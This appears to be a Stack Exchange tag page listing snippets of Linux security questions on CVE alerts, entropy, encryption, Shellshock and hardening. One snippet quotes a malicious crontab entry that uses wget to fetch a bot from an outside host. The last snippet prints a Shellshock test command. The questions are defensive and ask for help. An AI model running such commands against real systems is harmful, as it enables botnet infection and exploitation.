Securing Linux systems and applications; understanding Linux security features.

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1answer
35 views

Notifications (RSS or mailing list) of CVE with high scores for Windows and Red Hat? [closed]

I'm looking for a RSS feed or a mailing list that would allow me to be alerted of new CVEs impacting Windows or Red Hat that have a very high score, such as the recent ones for Shellshock and Winshock ...
0
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1answer
76 views

Do you really have to go to the extremes this guide says?

http://lifehacker.com/how-can-i-stay-anonymous-with-tor-1498876762 Alright, so here's a lifehacker guide on how to remain anonymous. Do you really have to go to this high level of extreme to remain ...
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3answers
2k views

Java SecureRandom doesn't block? How?

I know from experience that reading from /dev/random blocks when the Linux kernel entropy pool runs out of entropy. Also, I've seen many articles and blog entries stating that when running on Linux, ...
0
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1answer
151 views

Debian encryption is as safe as Truecrypt. Is this correct?

When I try to install latest debian to my pc, the wizard ask me to input a password to do FDE(full disk encryption). My questions are: What algorithm does Debian use? (Truecrypt = AES) Can I change ...
5
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3answers
811 views

What are the risks of making ether-wake available to all users?

The Linux ether-wake utility, which creates a magic packet to wake on lan another machine, requires root access: $ether-wake 12:34:56:78:9A:BC ether-wake: This program must be run as root. To give ...
2
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1answer
57 views

Downloading operating systems vulnerable to TCP amplification

I am doing a security research project on TCP amplification, and was looking to download vulnerable OS's for testing. From what I have researched mostly ancient linux kernels (2.0.x and below) and ...
4
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1answer
680 views

Can this be a DoS Attack?

When I'm checking my log, I found like 15k events of " PAM service(sshd) ignoring max retries; 6 > 3 " I know this might be normal, and considered as Brute-Force attack, but can it be classified as ...
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2answers
2k views

Do simple Linux servers really need a non-root user for security reasons?

Playing devil's advocate, Let's assume I purchase a Linux server from a hosting provider. I am given a password for the root user and am told I may login using SSH. The only purpose this server has ...
2
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1answer
71 views

Will setting a password for a linux login increase security?

I created a user that I use to login with using an SSL Key. I have not set a password. To be clear it is not an empty password, but an unset one. The /etc/shawdow has a single exclamation point ...
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6answers
3k views

How can I protect my computer from my potentially malicious colleagues?

So, I work in this small company (10 people) where we do stuff in programming, for various platforms. I started recently working there (2 months) right after I graduated. My work is not exactly ...
2
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2answers
53 views

Writing errors to Apache's log file from PHP - are there any pitfalls?

I'm updating an application to write slightly more verbose errors to the system log file (in this case, /var/log/apache2/mysite_error_log). I hope that I'm not asking the proverbial stupid question ...
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4answers
6k views

Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O ...
4
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3answers
102 views

Specific Dangers in Joining a Linux Botnet?

Between the PHP-as-cgi-bin problem, and shellshock, I've seen 4 or 5 different Perl scripts that, when run, purport to make your machine part of some scary, heinous botnet. What, specifically, would ...
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0answers
48 views

Backdooring vulnerable lighttpd installed on wireless AP [closed]

I have an AP at home and I'm trying to secure it as much as I can. I found an bug by accident. My AP has 3 ports opened: 22/ssh 53/dns 8081/blackice - icecap What I found is that my port 8081 ...
2
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3answers
1k views

Open Source Vulnerability Scanner

I'm looking for an open source vulnerability scanner that I could install on one of my machines and point to all my others. Ideally, I'd be able to configure a nightly scan where all of my other nodes ...
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3answers
3k views

Besides OpenVas and Nessus, what are my other options for vulnerability detection?

I know of Nessus (which is $1300 for a pro feed) and OpenVAS (which I don't like). I use Linux so do I have any other options for vulnerability detection?
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0answers
45 views

IPtables accepting SMTP without being configured?

Well i was building a new server and inputed there some IPtables rules, i set postfix and send me an email to try it out, to my surprise the email reached perfectly without me declaring a rule for the ...
0
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1answer
61 views

Are these port secured on my AP?

I'm doing a project for my high-school and I'm trying to get the best security for my network. I've made almost everything in my access-point configuration and I have only 3 tcp/ports open on my AP: ...
2
votes
3answers
80 views

Postfix master running as root

Does running /usr/lib/postfix/master as a root could cause a security threat ? A fresh installation, gives this : root 11622 0.0 0.0 4792 1432 ? Ss 19:11 0:00 ...
4
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3answers
444 views

Security for home server, wiki

I recently set up my own home server, running Ubuntu linux. The intent I'm having for this is to have a private wiki for my family, so we can have a place to collect information like phone numbers, ...
2
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2answers
83 views

Encrypted container on top of a copy-on-write filesystem

The way I understand it, when you write to a copy-on-write filesystem, data never gets overwritten in place, instead new data is written to a new location, and the old data will only be overwritten ...
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3answers
154 views

How to capture the traffic of a computer in my LAN?

I have a machine with the Windows 10 preview installed and I want to capture all the traffic it sends for a day and then block all the MS hosts it sent data to without my direct permission. I don't ...
77
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3answers
11k views

Is a rand from /dev/urandom secure for a login key?

Lets say I want to create a cookie for a user. Would simply generating a 1024 bit string by using /dev/urandom, and checking if it already exists (looping until I get a unique one) suffice? Or should ...
0
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2answers
98 views

How would you set up a ‘cold’ netbook for master-key signing, large Bitcoin transactions, etc? [closed]

I've just ordered a cheap-o netbook on Amazon, with the intention of installing a Linux distro, and turning it into a permanently-offline high-security machine for sensitive tasks. However, I'm no ...
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11answers
4k views

One liner to create passwords in linux?

How do you create a readable password using bash with one line? What if i'm looking for 128 bits of entropy? EDIT By readable I mean the 94 printable ascii characters (without space). It can use ...
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3answers
66 views

Ping Input box on web server vulnerable to piped commands?

Scenario is this. I have logged into a web server as admin through the Login page in browser. it has displayed me with a home page of sorts that has an input box with a button next to it saying ...
3
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4answers
173 views

How do I encrypt external drive with Password which is compatible with both Linux and Windows? [closed]

I wanted to encrypt my external drive with password, which is compatible in both Linux and Windows. Truecrypt is an option. But the development of it is stopped few months back. I came across ...
0
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1answer
86 views

How negative are virtual machines (vms) to /dev/urandom?

I looked at the questions here and here. This then piqued my interest as I've recently been involved with looking into FIPS compliance, and in my vm environment /dev/urandom compliance testing ...
2
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2answers
836 views

Disable SSLv3 system-wide for all clients?

After reading about Poodle secutrity bug, I have disabled SSLv3 on my servers and browsers. But there are several clients that do not expose settings detailed enough via their own means of ...
0
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1answer
146 views

UEFI secure boot and rootkits

I heard that with UEFI secure boot enabled a custom kernel module that is not signed will not run, hence a rootkit might be difficult to install. Can a secure boot really block rootkit modules from ...
0
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1answer
66 views

jRAT virus on Linux

I dumbly downloaded a .jar file that contained jRAT. When run, it stalls, gives a FileNotFoundException, then crashes. When I ls'd, the jar was there. When I cd'd out and back in, the jar was gone. ...
2
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1answer
57 views

ASLR does not seem to randomize text section

I wanted to make some basic tests on Linux ASLR, so i wrote the following code : #include <stdio.h> void funct(){ int a= 0; } void main(){ int b=0; printf("funct : %p\n", ...
0
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1answer
91 views

How to get SSL certificate of a mail server?

I need to get SSL certificate of some mail servers. I know I need to do execute following steps. Do a DNS mx query on the domain name (dig google.com mx). Use the information to download SSL ...
4
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0answers
58 views

Linux, TRESOR and XTS

I want to switch from using LUKS for full disk encryption to TRESOR. TRESOR tries to prevent cold boot attacks by storing the encryption key in the CPU's registers. It uses the kernel's crypto API for ...
2
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4answers
111 views

Add a file as entropy source for /dev/random

What I have: A large file containing lots of secret, true-random bytes (yes, I'm sure they're not merely pseudo-random). I'll call it F. What I want to do: Tell Linux that it can use this file as an ...
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0answers
30 views

Private server security questions [duplicate]

I want to build my own server. It will have mail, ssh, and apache (slackware 14.1). Could you tell me what I should pay attention on when I secure my server? Should I install SELinux? It will be ...
177
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5answers
95k views

What is a specific example of how the Shellshock Bash bug could be exploited?

I read some articles (article1, article2, article3, article4) about the Shellshock Bash bug (CVE-2014-6271 reported Sep 24, 2014) and have a general idea of what the vulnerability is and how it could ...
0
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1answer
75 views

How to determinate if someone scanning my server?

How is possible to determinate if someone make requests with tools for pentesting? Is there any linux command?
0
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1answer
81 views

How would one go about setting up a system with security in mind? [closed]

I run a standard laptop at home (dual-boot Fedora 20 and Windows 7; the Windows side is almost never used). Soon my other computer will be working again; it will have Windows 8.1 and some flavor of ...
3
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2answers
131 views

Does KASLR really provide more security against exploits?

I know all about how ASLR works, and how it has been implemented on both Linux and Windows systems. It provides an extra layer of protection that malware has to take into account. But nowadays with ...
0
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1answer
176 views

Find and kill process that create malicious connections

State Recv-Q Send-Q Local Address:Port Peer Address:Port FIN-WAIT-1 0 3640 my.public.ip.xx:https xxx.xx.xxx.xx:56206 SYN-SENT 0 1 ...
4
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1answer
180 views

Does dual boot hurt security?

On my laptop I have a well secured Linux installation that I would like to stay this way. It has in the past and could in the future contain confidential medical data I use for my study. I also have a ...
0
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3answers
230 views

Are windows users passwords easier to crack than linux?

If i set the same password in both linux and Windows, is it easier for a hacker to break the windows password? If so why and how can i create a windows password in the same security level as Linux?
1
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3answers
76 views

Capture query to MySQL in Server

I want to capture queries to MySQL from my web-application on my Linux-based Server. MySQL port is 3306 and my web-application in on port 8181. So I started using tcpdump as follow: # tcpdump -x ...
1
vote
2answers
393 views

Directory traversal & default filesystem permissions (755) for web server

I'm trying to get a better understanding of the potential security holes my default filesystem permissions might be creating. It appears I am capable of traversing my filesystem, serving simple php ...
5
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2answers
380 views

Escalating from Apache shell to root

I have one noob question.I tried to exploit shellshock on my Slackware linux server, but after I connect with reverse shell and User Agent I get that I am apache user and apache user don't have too ...
4
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2answers
239 views

How secure is BSD sockets?

BSD sockets API was released in 1983. As it was implemented 3 decades ago and still being widely used, is it secure in today's scenario where every software has to be actively protected against ...
0
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2answers
193 views

“Shell shock” - exploitable when `system()` syscall or `exec(bash)`, right?

Is my understanding correct that in order to exploit via "Shell Shock", binary we influence needs to execute bash (and we need to have influence on command line)? Therefore, am I correct, that if ...
1
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1answer
140 views

Can shellshock be used on a system with public webpages but restricted server access?

I want to know if my servers are still vulnerable under the following conditions... My servers are private - only myself and trusted developers have access to them We have enabled executables within ...
2
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1answer
282 views

Has CVE-2014-6271 Shell Shock been mitigated completely what is the latest? [closed]

I have patched my system however CVE-2014-7169 claims that the fix for 6271 was incomplete. Sure enough if I run the command below: env X='() { (a)=>\' sh -c "echo date"; cat echo It appears ...